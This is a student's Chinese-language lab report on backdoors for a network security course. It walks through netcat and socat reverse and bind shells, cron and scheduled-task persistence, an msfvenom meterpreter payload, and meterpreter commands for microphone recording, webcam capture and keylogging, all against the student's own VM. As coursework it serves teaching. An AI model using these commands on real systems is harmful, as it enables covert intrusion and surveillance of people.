20192401 王麦齐 《网络与系统攻防技术》实验二 后门原理与实践
一、实验内容
1、使用netcat和socat获取主机操作Shell,以成功启动某项任务作为实验成功的标准;
2、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
3、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
4、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验过程
实践一:使用netcat获取主机操作Shell
该实践首先需要获取Windows系统的ip地址,然后在windows的powershell(或者cmd等shell中)使用ncat的监听模式,再连接到kali系统中即可。
(1)使用netcat获取主机Shell,并cron启动某项任务。
首先测试主机与Kali虚拟机之间的连通性,如下图所示:
kali与主机的连通性
主机与kali机的连通性
接下来输入:
ncat.exe -l -p 8888 # 开启监听模式,监听端口8888
打开Kali系统的终端,输入:
nc 192.168.43.201 8888 -e /bin/sh
# 把/bin/sh通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell
如下图,即可获取Kali的shell,输入命令可以正常运行:
测试传递信息:
1.使用netcat获取主机操作Shell,cron启动
(1)在Linux下输入 crontab -e 添加cron任务区,选择编辑器3。
crontab -e
crontab: installing new crontab
"/tmp/crontab.04YrRd/crontab":23: bad day-of-week
errors in crontab file, can't install.
Do you want to retry the same edit? (y/n) y
crontab: installing new crontab
在最后一行添加
23 * * * * /bin/netcat 192.168.43.201 8888 -e /bin/sh
其中的23 * * * *代表的是时间,分别为分钟 小时 日期 月 周几,后面为要运行的命令
然后ctrl+X,选择Y Enter 保存并退出。(表示每小时的第23分钟反向链接Windows主机的8888端口)
此时输入ls操作可以唤出界面,由此我们得到了一个最为简易的后门,但是是乱码这个情况还要进一步探究。
2.使用socat获取主机操作Shell, 任务计划启动
(1)Windows->控制面板->管理工具->任务计划程序->创建任务
程序或脚本:socat的安装路径\socat\socat.exe
参数:tcp-listen:2401(本人学号) exec:cmd.exe,pty,stderr
此时虚拟机输入
┌──(wmq㉿kali)-[~]
└─$ socat - tcp:192.168.43.201:2401
就此,我们获得了windows的shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1)虚拟机生成可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.60 LPORT=2401 -f exe > 20192401.exe
(2)传输后门程序
在Windows端cmd输入
ncat.exe -lv 2401 > 20192401.exe
使被控主机进入接收文件模式.
在Linux端输入
nc 192.168.43.60 2401 < 20192401.exe
将生成的后门程序传送到主机上。
(3)MSF开始监听进程
在Linux上使用msfconsole 进入msf控制台依次输入
use exploit/multi/handler //监听设置payload
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.60 //虚拟机的IP地址
set LPORT 2401 //端口号
exploit //监听Action
主机端运行后门程序,返回虚拟机发现已经获得主机端的shell:
我们键入ipconfig
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获得录音权限,后面的数字代表时间,8s
record_mic -d 8
获得摄像头权限
webcam_snap
获取击键记录
keyscan_start
keyscan_dump
获取截屏权限
screenshot
查看当前用户
getuid
下面是我的一些尝试
三、实验中遇到的问题及解决方法
问题一:在对应文件目录下,无法执行ncat
这个问题最开始很头疼,shell无法执行,但是cmd却可以
然后我再cmd中尝试时,却意外地可以启动ncat,但是每当执行
ncat.exe -l -p 8888的时候却一直处于“停止”的状态,键盘无法输入,但是却可以录入字符串,此时按下ctrl c中断此操作时会出现之前输入的字符,但是无法执行。
然后我积极的在网上寻找答案,胡乱配了一个环境变量,也没成功,不过话说回来,环境变量这个坑我也没填,到现在环境变量是啥我都不是很明白,赶紧解决!
后来我发现有个下面有个提示:
按照上面的操作,我恍然大悟,原来答案就在我身边,一定要多看suggestion!!!!
四、实验感受
作为一个电脑为家的大学生,见到虚拟机和cmd仍然头疼的很,这次在第一部ping的时候就很不顺利,后来在调试kali的网络设置时发现nat和桥接两个不同的策略,桥接类似于内部交流,而nat是走向外部的方式,从两台机子可以ping通开始,我就觉得没什么能难得到我,然后....ncat又在shell里面没法用,要不是解决的真的好想哭,最开始又是配环境变量又是瞎调试,百度和CSDN真的是衣食父母,最后感谢老师带我们进行了这次实验,用摄像头什么的真的太刺激了,还有录音哈哈哈哈,期待下一次实验!!